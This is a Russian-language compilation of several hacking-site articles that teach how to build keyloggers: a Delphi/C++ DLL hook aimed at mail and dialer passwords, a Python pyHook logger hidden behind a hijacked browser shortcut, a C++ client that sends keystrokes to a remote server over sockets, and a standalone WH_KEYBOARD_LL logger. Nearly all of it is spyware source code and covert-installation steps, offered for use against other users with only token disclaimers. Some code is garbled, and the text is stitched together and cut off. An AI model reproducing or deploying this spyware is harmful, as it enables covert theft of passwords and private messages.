Программа для программирования кейлоггеров.              Лаборатория информационной безопасности

О написании клавиатурных шпионов
рассказывалось уже неоднократно, но все они
имеют один большой недостаток - как правило,
требуется узнать весьма ограниченную
информацию, а не записывать в файл лога все,
что юзер пишет на клавиатуре - вряд ли тебе
даст много пищи для размышлений логи
нажатия на кнопки при игре в CS 😉

Отсюда следует, что шпион должен быть
продвинутым, а не тупо писать в лог все, что
ему дают 🙂 Даже назвать такую программу
шпионом язык не поворачивается - это почти
электронный агент 007:-))) Путей для того,
чтобы программа писала в лог интересующий
нас материал много. Самый простой -
контролировать активные окна, т.е. в которых
в данный момент давятся кнопки 🙂 Как ты,
думаю, знаешь, шпионы как правило состоят из
исполняемого файла и DLL. Это связано с тем,
что для перехвата сообщений к окну
требуется создать новый ПРОЦЕСС, и самое
удобное для этого - использовать dll-ку.
Поэтому для того, чтобы активировать
собственно сам логгер, нужно будет в нужный
момент загрузить DLL, а когда активное окно
сменится на иное - выгрузить ее из памяти.

Рассмотрим функции работы с DLL в языке Visual
C++. Загрузка в память длл-ки производится
функцией hINSTAGE=LoadLibrary("name.dll"), где hINSTAGE -
как бы дескриптор загруженной в память DLL,
name.dll - имя библиотеки. Чтобы ее выгрузить,
существует функция FreeLibrary(hINSTAGE);

Теперь о том, как можно нужные нам
приложения. Например, нам известно, что юзер
читает почту через сайт www.mail.ru, тогда можно
настроить агента так, чтобы он перехватывал
нажатия клавиш, когда юзер зайдет на этот
сайт. (Следует помнить, что в некоторых
приложениях шпион клавиатуры вообще не
может работать, например в адресной строке
Internet Explorer"a - это приводит к "аварийному
завершению программ" - а чего иного ты от
Windows хотел:))) Для этого способа вполне
подойдет и чтение паролей из "звонилки"
- если юзер страдает паранойей и каждый раз
вводит логин и пасс вручную 🙂 Или тебе очень
интересно узнать что же он пишет в Outlook"e или
в блокноте. Вот часть кода, выполняющая
сравнение заголовков окон с нужными нам.

HINSTAGE hINSTAGE;

while (1)
{
//Запускаем цикл.

int sl,ll;
ll=1;
sl=2;
//переменные для
счетчик
а.
char st;
HWND hw;
//Идем самым простым
путем - сравниваем посимвольно строки:
полученный заголовок окна и с нужном нам
строкой.

while (ll!=sl)
{

hw=GetForegroundWindow();
GetWindowText(hw,st,128);// читаем

char stt="_Здесь пишем заголвок нужного
нам окна_№1";

sl=strlen(stt);
ll=0;
while (stt==st)
//cравниваем
посимвольно строки
//это удобнее делать с той позиции, что будет
проверяться, вхордит ли нужная
//нам строка как часть в другую строку, можно
сделать подобие //широкого фильтра.

{
ll++;
}

if (ll==sl) {//если строки
совпадают до конца 1-ой строки -

halt; //прерываем процесс
}
// и так далее - если
нужно проверить на наличие нескольких окон.

char stt="_Здесь пишем заголвок нужного
нам окна_№2";
sl=strlen(stt);
ll=0;
while (stt==st)
{
ll++;
}

if (ll==sl) {
halt; //прерываем процесс
}

Вместо последовательной проверки можно
сделать параллельную, когда сравниваются в
одном цикле элементы строк, если хоть одна
совпала - тогда DLL-шпион активизируется.

hINSTAGE=LoadLibrary("key1.dll");

Теперь нам нужно все время проверять,
остается ли данное окно активным.

while (ll==sl) //пока
строки совпадают - крутимся на месте

{
hw=GetForegroundWindow();
GetWindowText(hw,st,128);
// читаем
активное на данный момент окно.

ll=0;
while (stt==st)
{
ll++;
}
}

Выход из цикла говорит о том, что активное
окно сменилось, поэтому далее выгружаем "шпионскую"
библиотеку и цикл начинается с начала - т.е.
прога опять ждет, когда выпадет одно из
нужных окон.

FreeLibrary(hINSTAGE);

Однако же вышеописанный способ имеет и
недостатки - требуется каждый раз проверять
из целого списка окон является ли нужное
нам активным на данный момент. Поэтому
можно юзать другой алгоритм - проверять не
заголовок окна, а смотреть, если в данном
окне элементы типа EditBox"а. Как правило,
пароли пишутся именно там 🙂 Для этого будет
смотреть на элементы этого окна - и если
среди них есть Edit - тогда грузим DLL.

char p2,p3; //массивы
символов для заголвков окон.

Опять таки в циклe проверяем все окна:

while (p3!="Edit") //пока
не нашли окно с едитбоксом - выполняем цикл

{

hw=GetForegroundWindow();

HWND hwnd_child;//переменная
элемента окна

hwnd_child = GetWindow(hw,GW_CHILD);
GetClassName(hwnd_child,p3,128);
if (p3!="Edit")
//если первый из
найденных элементов окна- не EditBox - тогда
ищем дальше

{
while (hwnd_child!=0)
{
hwnd_child = GetWindow(hwnd_child, GW_HWNDNEXT);

GetClassName(hwnd_child,p3,128);
if (p3=="Edit")
{
halt;
}
}
}
}

Теперь собственно о самой шпионской DLL.
Писать ее лучше на Дельфях, потому как этот
возмужавший потомок Паскаля не имеет столь
извращенной "Сипипишной" привычки
придирки к типам данных. Чтобы создать
библиотеку выберем File-New-Direct Link Library - и
заготовка для DLL готова. А вот сам код:

library key1;
uses Windows;

var
KHook: HHOOK;//переменная для
"ловушки"

function KProc(Code: integer; wParam: Word; lParam: LongInt): LongInt; stdcall;
const
KState: integer = 1073741824; //код
"клавиша нажата"

var
Simv: ShortString;
KL: array of Char;//для
проверки раскладки клавы

FStruct: TOFSTRUCT;
F: TextFile;
//переменная
файла для записи лога.

begin

// отсеиваем лишние
сообщения
if (lParam and KState) <> 0 then
begin

Exit;
end;

AssignFile(F, "keylog.txt");

// пытаемся открыть
файл "keylog.txt":
if OpenFile(PChar("keylog.txt"), FStruct, OF_EXIST) = HFILE_ERROR then
begin
ReWrite(F);
// если файл не
создан - создаем.

end
else Append(F);
//если есть - пишем в
конец.

Simv:=chr(0);//обнуляем
переменную символа, читающегося с клавы.

// анализируем код
нажатой клавиши
case wParam of
// цифры
48..57: Simv:=Chr(wParam);
96: Simv:="0";
97: Simv:="1";
...
104: Simv:="8";
105: Simv:="9";
189,109: Simv:="-";
110: Simv:=".";
111: Simv:="/";
end;

GetKeyboardLayoutName(KL); //
проверяем раскладку

if KL = "00000409" then // если
латинская:

begin
case wParam of
219: Simv:="[";
221: Simv:="]";
186: Simv:=";";
222: Simv:=""";
188: Simv:=",";
190: Simv:=".";
191: Simv:="/";
65..90: Simv:=Chr(wParam);
end;
end;
end;
if KL = "00000419" then
// если
русская

begin
case wParam of
219: Simv:="Х";
221: Simv:="Ъ";
186: Simv:="Ж";
222: Simv:="Э";
188: Simv:="Б";
190: Simv:="Ю";
191: Simv:=".";
65: Simv:="Ф";
...
87: Simv:="Ц";
88: Simv:="Ч";
89: Simv:="Н";
90: Simv:="Я";
end;

//если символ не пустой(т.е.
если была нажата буквенно-цифровая клавиша)
//тогда пишем его в файл
if Simv<>"" then
Write(F, Simv);
//закрываем файл
CloseFile(F);

// передаем сообщение
другим ловушкам в системе
Result:=CallNextHookEx(KHook, code, wParam, lParam);
end;

begin
//Установить ловушку
для перехвата сообщений о клавиатуры.

KHook:=SetWindowsHookEx(WH_KEYBOARD, @KProc, HInstance, 0);

Так же эту программу можно упростить в
зависимости от области применения - если
допустим нужно только считать один раз
пароль из звонилки - тогда можно поставить
проверку на окна до нужного нам, и когда оно
станет активным - загрузить библиотеку
key1.dll, подождать определенное время, за
которое юзер успеет набить эти символы на
клавиатуре, а затем выгрузить библиотеку и
завершить программу. Примерно так 🙂

hINSTAGE=LoadLibrary("key1.dll");
Sleep(10000);
//ждать 10 секунд, за это
время юзер наберет пароль.
//время может быть увеличено в зависимости
от степени заторможенности юзера
// и его скрости печатанья на клаве 🙂

FreeLibrary(hINSTAGE);

PS: Весь вышеперечисленный материал был дан
исключительно с демонстрационными и
общеобразовательными целями, автор ставил
перед собой задачу продемонстрировать
алгоритм работы программы типа "апгрейженный
клавиатурный шпион" и вся
ответственность за использования этого
материала ложится на тебя (непосильным
бременем 🙂) В реализации кода присутствуют
мелкие неточности, не вредящие собственно
алгоритму - попробуй найти их сам)).

PSS: Конечно же кейлоггер может не только
выполнять свою основную функцию -
собственно писать в лог нажатия кнопок, но и
изменять значения нажатых клавиш по твоему
вкусу - но как это сделать и для чего это
может быть просто жизненно необходимо - в
следующий раз 🙂

Здравствуйте, с вами снова QUAZAR. Сегодня я покажу как создать простой кейлоггер на Python. Разумеется данный клавиатурный шпион не может соперничать с такими гигантами как , но несмотря на это ему можно найти свое применение.

Что такое кейлоггер?

Подробно о том, что такое кейлоггер и о видах кейлоггеров, вы можете прочитать в статье « «. Чтобы найти дополнительные материалы по теме используйте поиск по сайту, который находится в верхнем правом углу. Просто впишите слово «кейлоггер» или «клавиатурный шпион».

Простой кейлоггер на Python

Для создания кейлоггера нам потребуется:

  • Операционная система: Windows или MacOs (также можно использовать любой Linux, но я лично не пробовал)
  • Установленный на целевой машине Python, а также специальные библиотеки.

Данный материал носит информационный характер. Изложенная в статье информация предоставлена исключительно в ознакомительных целях. Ни редакция сайта www.сайт, ни автор публикации не несут никакой ответственности за любой вред нанесенный материалом этой статьи.

Создание простого кейлоггера на Python

Для начала необходимо скачать и установить Python .


Простой кейлоггер на Python

После установки Python вам необходимо установить модули «pyHook» и «pywin32». На этом сайте вы найдете 32- и 64-битные версии для Windows и других ОС. Скачайте «PYhook» и «pyWin32» в соответствии с установленной вами версией Python и Windows (32 бит или 64 бит).


Кейлоггер на Python. Модуль PYhook Кейлоггер на Python. Модуль pyWin32

После загрузки установите и откройте меню IDLE (Python GUI) из меню «Пуск».

Простой кейлоггер на Python

Зайдите в меню «Файл» и нажмите на пункте «Новый Файл». После чего вставьте код кейлоггера:

#Name: QUAZAR
#Website: www.сайт
import pyHook, pythoncom, sys, logging
file_log = "C:keyloggerlog.txt"
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format="%(message)s")
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

И сохраните его назвав файл Keylogger.pyw. Только не сохраняйте файл в корневом каталоге C: где для копирования и удаления файлов нужны права администратора. Создайте новую папку на диске C: или в другом месте, где вам не нужны права администратора для копирования файлов и сохраните Keylogger.pyw там.

В качестве выходного файла отчета «file_log =« C:keyloggerlog.txt » вы можете выбрать любое место, но лучше конечно, какое-то скрытое место на жестком диске. В этом примере я буду сохранять файл отчета на диск в корневой каталог C:. Ведь мне нечего скрывать.

Автоматический запуск кейлоггера на Python

Кейлоггер готов. Теперь надо сделать так чтобы кейлоггер запускался скрыто от пользователя и автоматически с загрузкой Windows. Реализовать это можно по разному. Попробуем сделать с помощью bat-файла привязав запуск кейлоггера к какой-нибудь программе или прописав в автозагрузку.

Для начала создайте bat-файл. Скопируйте и вставьте в блокнот следующий код:

::Name: QUAZAR
::Website: www.сайт
@echo off
start "" "C:keyloggerkeylogger.pyw"
start "" "C:Program FilesOperalauncher.exe"

В первой строке необходимо вписать путь к файлу keylogger.pyw (в моем случае «C:keylogger.pyw»). Во второй строке вы должны ввести путь к программе, который обычно использует пользователь (в моем случае — браузер Opera).

После редактирования сохраните файл в расширении.bat (в моем случае logger.bat) в каком-нибудь скрытом месте на компьютере (в моем случае в «C:keylogger.bat»).

Теперь идем на рабочий стол и выбираем ярлык часто используемой программы (в моем случае — это браузер Opera). Правым кликом мышки вызываем контекстное меню и заходим в свойства ярлыка. В поле «Объект» вводим путь к бат-файлу кейлоггера «C:keyloggerlogger.bat».

После внесения изменений изменится и иконка ярлыка. Но это легко решается на вкладке свойстве (смотрите скрин выше).


А прежде чем приступить к прочтению - загляни в мой бложик, там я публикую свои авторские статьи по программированию, вирусологии и прочим интересным вещам
Оригинал статьи -

Вся информация предоставлена исключительно в ознакомительных целях. Ни администрация, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.


Предисловие
На протяжении, примерно, месяца я постоянно наблюдал за различными просьбами, вопросами насчет кейлоггеров. Многие искали, но не могли найти исходники, многие искали, но не могли найти продажники и т.д.

В этой статье я хочу показать, насколько просто написать самому кейлоггер с базовым функционалом. Базу я позаимствовал отсюда - * * , пофиксил баги и доработал под взаимодействие с WinSocket.

Материалы
  • Visual Studio 2015 Community Update 4
  • Visual C++ 2015
Структура приложения
Для начала необходимо определить, как вообще будет работать кейлоггер. Будь то отсылка логов на FTP/Почту, запись нажатий в сокет, отправка файла на гейт, запись логов в бд.
Я решил остановится на сокетах. Почему? Это удобно, просто и юзабельно.
Исходя из выбора, нам нужно будет сделать 2 приложения:

Сервер
  • Консольное приложение, которое будет принимать данные от клиента и выдавать в консоли
Клиент
  • Собственно, сам кейлоггер, который будет отсылать нажатия клавиш на сервер
И начнем мы, пожалуй, с сервера.

Сервер
Создаем консольное C++ приложение в Visual Studio.
Весь код есть в оф. примере MSDN - *Войдите на форум для просмотра ссылок. *
Нам лишь нужно заменить некоторые значения в нем...
Сразу пропишем константные переменные: величину буффера и порт сервера, на который будут приходить логи

Код:

#define DEFAULT_BUFLEN 1024 //Буффер #define DEFAULT_PORT "1337" //Порт

Вместо единоразового do/while ставим бесконечный цикл, в котором будем принимать данные от клиента, выводить их в консоль, закрывать соединение и по новой:

Код:

Do { ClientSocket = accept(ListenSocket, NULL, NULL); //Принимаем коннект iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);//Считываем лог if (iResult > 0) //Если лог не пустой printf("%s", recvbuf); //Выводим closesocket(ClientSocket);//Закрываем соединение memset(recvbuf, 0, sizeof recvbuf);//Освобождаем память } while (true);

Компилируем в Release, закидываем на дедик, открываем нужный нам порт и запускаем

Клиент


Создаем приложение Win32 в Visual Studio.
Как я уже и говорил выше, хук клавиатуры и обработчик нажатий я взял с *Войдите на форум для просмотра ссылок. *
Чтоб прикрутить отправку нажатия на сокет я обратился к *Войдите на форум для просмотра ссылок. *
Так же, сразу определяем константные переменные: длину буффера, айпи дедика/компа и порт

Код:

#define DEFAULT_BUFLEN 20000 #define SERVER_IP "127.0.0.1" #define SERVER_PORT "1337"

Некоторые переменные пришлось вытащить из их методов и сделать глобальными, чтобы код начал работать корректно:

Код:

WSADATA wsaData; SOCKET ConnectSocket = INVALID_SOCKET; HHOOK _hook;KBDLLHOOKSTRUCT kbdStruct; char lastwindow; int Save(int key_stroke);// Убрал второй аргумент

Создаем метод отправки данных на сервер по примеру, который был в начале абзаца. Далее, везде заменяем порт, айпи и передаваемую инфу на аргументы функции:

Код:

Void sendData(char *ip, char * port, char*data)

В методе Save делаем следующее - убираем второй аргумент и меняем запись логов в файл на отправку к серверу:

Код:

Char data; sprintf(data, "\n\n\n", window_title, s); sendData(SERVER_IP, SERVER_PORT, data);

Далее, по такому же принципу, меняем отправку в нажатиях служебных клавиш. Отправку букв можно сделать таким образом:

Код:

Char c; sprintf(c, "%c", key_stroke); sendData(SERVER_IP, SERVER_PORT, c);

Вырезаем все что связано с видимостью окна из кода, и, готово.

Итог
При запуске кейлоггера, он повиснет в процессах и будет обрабатывать каждое нажатие на клавиатуре. Возможно, некоторые символы будут отображаться некорректно, например, слеши, но все это можно исправить самому (ведь если бы все было идеально, ко мне в личку стучал Иисус с просьбой проверить продажник приватного кейлоггера).

Опубликовано 18 Январь 2015 . Где ?". Не нужно искать легких путей, тем более в Интернете:). Скачать кейлоггер бесплатно можно, но приготовтесь к различным ограничениям или неожиданностям. Во-первых, функциональность кейлоггера будет низкой. Бесплатные демо-версии полноценных программ обычно содержат ограничения, иногда неожиданные:). Во-вторых, не будет дополнительных, обычно сопутствующих кейлоггерам дополнительных программ или функций обработки лога, настройки слежения и т.д. В третьих, вы не обнаружите поддержки кейлоггера со стороны производителей. Вместо того, чтобы искать где скачать кейлоггер бесплатно , подумайте, а не написать ли его самостоятельно? Простейший кейлоггер для Windows написать не очень сложно, если Вы обладаете основами программирования в Windows. Итак, продолжаем выкладывать исходники кейлоггеров. Кейлоггер для Windows написан на С++, естественно с применением Win API. Хук клавиш реализован с помощью SetWindowsHookEx (WH_KEYBOARD_LL ,...). Создается исполняемый файл без библиотека dll, так сказать, кейлоггер одним файлом! Плюсы очевидны - более просто организовать удаленную установку, более маленький размер, большая скрытность (dll-ка не будет в процессах всех приложений висеть). Недостаток этого способа перехвата в его нестабильной работе, либо вообще отказа работать в Windows 7. Перехват клавиш без использования dll (WH_KEYBOARD_LL) вызывает у семерки непонимание. Приходится шаманить, колдовать, чтобы заставить кейлоггер работать. Выход конечно же всегда найдется (его ищите самостоятельно, и да пребудет с вами сила:)). Написать нормальный можно и с использованием SetWindowsHookEx (WH_KEYBOARD_LL ,...). В Windows 7 будет все нормально. Как будет работать WH_KEYBOARD_LL в Windows 8, пока не известно.

Запись в лог организована через файловый поток. Добавлено кое-что для улучшения читабельности лога. Код маленький и эффективный. Подойдет для кейлоггера для windowsс определенными добавками и вопрос, где можно скачать кейлоггер бесплатно отпадает .

Исходник файла *.exe:

#include < windows.h > #include < fstream > #include < iostream > #include < algorithm > #include < string > using namespace std; string myKey; BOOL isCaps(); char logName = "keys.txt";//LOG FILE name //init all varibles for speed MSG message; HHOOK keyboardHook; char keyNameBuff; PKBDLLHOOKSTRUCT p; unsigned int sc; //кейлоггер для Windows void writeToLog(string s) //write a string to the log { ofstream log(logName, ios::app); //opens log file log << s; //writes to log.. with format "[""]" log.close(); //closes log } // Кейлоггер для Windows BOOL isCaps() { if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0 || ((GetKeyState(VK_SHIFT) & 0x8000)!=0)) { return 1; } else { return 0; } } // Кейлоггер для Windows LRESULT CALLBACK hookProc(int nCode, WPARAM wParam, LPARAM lParam)//proc to be run on hooked key { if (wParam == WM_KEYDOWN)//if key event type is key down { //get the keyname from lParam p = (PKBDLLHOOKSTRUCT) (lParam);//used to get the vkCode sc = MapVirtualKey(p->vkCode, 0); sc <<= 16; //shift 16 bits if (!(p->vkCode <= 32))//if not ascii { sc |= 0x1 << 24; // <- extended bit } GetKeyNameTextA(sc,keyNameBuff,16); // Кейлоггер для Windows - исходник //gets ASCII key name from sc into keyNameBuff //write keyname to log myKey = keyNameBuff; if (myKey == "Space") { writeToLog(" "); } else if (myKey == "Right Alt") { writeToLog(""); } else if (myKey == "Enter") { writeToLog(""); } else if (myKey == "Left Alt") { writeToLog(""); } else if (myKey == "Tab") { writeToLog(""); } else if (myKey == "Backspace") { writeToLog(""); } else if (myKey == "Caps Lock") { writeToLog(""); } else if (myKey == "Delete") { writeToLog(""); } else if (myKey == "Right Shift") { writeToLog(""); } else if (myKey == "Shift") { writeToLog(""); } else if (myKey == "Ctrl") { writeToLog(""); } else if (myKey == "Right Ctrl") { writeToLog(""); } // if its none of the special keys else { if (isCaps() == 1) { writeToLog(myKey); } else { std::transform(myKey.begin(), myKey.end(), myKey.begin(), ::tolower); writeToLog(myKey); } } } return CallNextHookEx(NULL, nCode, wParam, lParam); } // Кейлоггер для Windows void msgLoop() { while (GetMessage(&message,NULL,0,0)) { TranslateMessage(&message); DispatchMessage(&message); } } // Кейлоггер для Windows int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0); //hooks keyboard msgLoop(); //stops from closing // Кейлоггер для Windows - исходник UnhookWindowsHookEx(keyboardHook); //unhooks return 0; //Never run }

Можно использовать среду разработки любую, которая вам нравится (Dev-C++, MSVS, Borland С++). Собираем, вносим необходимые индивидуальные изменения и кейлоггер для Windows готов и тратить время на поиск, где же можно скачать